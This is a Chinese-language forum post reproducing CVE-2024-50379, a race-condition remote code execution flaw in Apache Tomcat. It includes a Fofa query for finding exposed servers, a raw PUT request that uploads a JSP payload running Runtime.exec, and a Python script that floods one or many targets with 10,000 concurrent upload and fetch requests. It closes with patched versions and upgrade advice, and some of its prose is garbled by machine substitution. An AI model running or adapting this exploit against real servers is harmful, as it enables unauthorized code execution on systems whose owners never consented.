Apache Tomcat条件竞争致远程代码实行漏洞复现(CVE-2024-50379)(附脚本 ...

打印 上一主题 下一主题

主题 805|帖子 805|积分 2415

0x01 产物形貌:
       ‌Tomcat是一个开源的轻量级Web服务器,重要用于处理惩罚Servlet和JSP页面。‌它是Apache软件基金会的一个焦点项目,支持最新的Servlet和JSP规范,并且是免费的开源软件。Tomcat特别适合于中小型体系和并发访问用户不多的场所,是开辟和调试JSP程序的首选工具。‌
        Tomcat的重要特点包括易于配置和管理、精良的兼容性以及高性能和可靠性。它支持多种开辟框架和编程语言,如Java Servlet、JavaServerPages、Java Expression Language和JavaWebSocket技能。Tomcat利用了多线程设计,能够处理惩罚大量的并发哀求,并且具有较高的稳定性和可靠性

0x02 漏洞形貌:
        Apache Tomcat 中 JSP 编译期间的利用时间 (TOCTOU) 争用条件漏洞允许在启用默认 servlet 写入(非默认配置)时对不区分大小写的文件体系进行 RCE。当默认 Servlet 的 readonly 参数被设置为 false(非默认配置)并允许利用 PUT 方法上传文件时,攻击者能够上传包含恶意 JSP 代码的文件并通过条件竞争不断发送哀求,触发 Tomcat 对其解析和实行,终极实现远程代码实行
0x03 影响版本:
windows环境:
  1. Apache Tomcat 11.0.0-M1 to 11.0.1Apache Tomcat 10.1.0-M1 to 10.1.33Apache Tomcat 9.0.0.M1 to 9.0.97
复制代码
0x04 搜刮语句:
Fofa:title=="Apache Tomcat"

0x05 漏洞复现:
环境搭建地点:
Index of /dist/tomcat/tomcat-9

修改conf/web.xml配置 增加下列配置
  1.         <!-- 设置 readonly 为 false,允许资源被写入或修改 -->
  2.         <init-param>
  3.             <param-name>readonly</param-name>
  4.             <param-value>false</param-value>
  5.         </init-param>
复制代码

利用发包工具同时发奉上传哀求包与读取哀求包,在多线程条件下实现RCE
上传哀求包:
设置线程10000,同时上传aa.Jsp bb.Jsp 通过回显201可判断是否成功。注意这里上传文件后缀要为Jsp。因为利用大写的Jspx,Jsp的时候,tomcat用的DefaultServlet来处理惩罚允许文件上传。
  1. PUT /aa.Jsp HTTP/1.1
  2. Host: your-ip
  3. Content-Type: application/json
  4. aa<% Runtime.getRuntime().exec("calc.exe");%>
复制代码

读取哀求包:
设置线程10000,同时读取aa.jsp bb.jsp 通过回显200可判断是否成功


上述两个哀求同时操纵:
通过大写Jsp利用DefaultServlet处理惩罚实现文件写入,通过小写jsp利用JspServlet处理惩罚实现文件读取


0x06 批量检测脚本:
  1. 批量检测:
  2. python poc.py -f url.txt
  3. 单个检测:
  4. python poc.py -u your-ip
复制代码
  1. import requests
  2. import urllib3
  3. from urllib.parse import urljoin
  4. import argparse
  5. import ssl
  6. import concurrent.futures
  7. ssl._create_default_https_context = ssl._create_unverified_context
  8. urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
  9. def read_file(file_path):
  10.     with open(file_path, 'r') as file:
  11.         urls = file.read().splitlines()
  12.     return urls
  13. def check(url):
  14.     protocols = ['http://', 'https://']
  15.     found_vulnerabilities = False
  16.     for protocol in protocols:
  17.         target_url = urljoin(protocol + url.lstrip('http://').lstrip('https://'), "/")
  18.         print(f"Checking {target_url}...")
  19.         target_url_put1 = urljoin(target_url, "/aa.Jsp")
  20.         target_url_put2 = urljoin(target_url, "/bb.Jsp")
  21.         target_url_get1 = urljoin(target_url, "/aa.jsp")
  22.         target_url_get2 = urljoin(target_url, "/bb.jsp")
  23.         headers1 = {
  24.             "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
  25.             "Content-Type": "application/json"
  26.         }
  27.         headers2 = {
  28.             "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36"
  29.         }
  30.         payload_put = "aa<% Runtime.getRuntime().exec("calc.exe");%>"
  31.         #增加线程
  32.         with concurrent.futures.ThreadPoolExecutor(max_workers=10000) as executor:
  33.             futures = []
  34.             # 循环执行10000次
  35.             for _ in range(10000):  
  36.                 futures.append(executor.submit(requests.put, target_url_put1, verify=False, headers=headers1, data=payload_put))
  37.                 futures.append(executor.submit(requests.put, target_url_put2, verify=False, headers=headers1, data=payload_put))
  38.                 futures.append(executor.submit(requests.get, target_url_get1, verify=False, headers=headers2))
  39.                 futures.append(executor.submit(requests.get, target_url_get2, verify=False, headers=headers2))
  40.             for future in concurrent.futures.as_completed(futures):
  41.                 try:
  42.                     response = future.result()
  43.                     print(f"Response status: {response.status_code}")
  44.                     if isinstance(response, requests.Response):
  45.                         if (response.status_code == 201) or (response.status_code == 200):
  46.                             found_vulnerabilities = True
  47.                 except Exception as e:
  48.                     print(f"Error occurred: {e}")
  49.             if found_vulnerabilities:
  50.                 print(f"\033[31mFind: {url}: Apache Tomcat CVE-2024-50379 Conditional Competition To RCE!\033[0m")
  51.                 return True
  52. if __name__ == "__main__":
  53.     parser = argparse.ArgumentParser()
  54.     parser.add_argument("-u", "--url", help="URL")
  55.     parser.add_argument("-f", "--txt", help="file")
  56.     args = parser.parse_args()
  57.     url = args.url
  58.     txt = args.txt
  59.     if url:
  60.         check(url)
  61.     elif txt:
  62.         urls = read_file(txt)
  63.         for url in urls:
  64.             check(url)
  65.     else:
  66.         print("help")
复制代码
 

0x07 修复建议:
安全版本:
Apache Tomcat 11.0.2
Apache Tomcat 10.1.34
Apache Tomcat 9.0.98
官方已发布最新版本修复该漏洞,建议受影响用户将Tomcat升级到安全版本及以上的版本。
下载链接:
Tomcat 11:https://tomcat.apache.org/download-11.cgi
Tomcat 10:https://tomcat.apache.org/download-10.cgiTomcat 9:https://tomcat.apache.org/download-90.cgi

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

曂沅仴駦

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表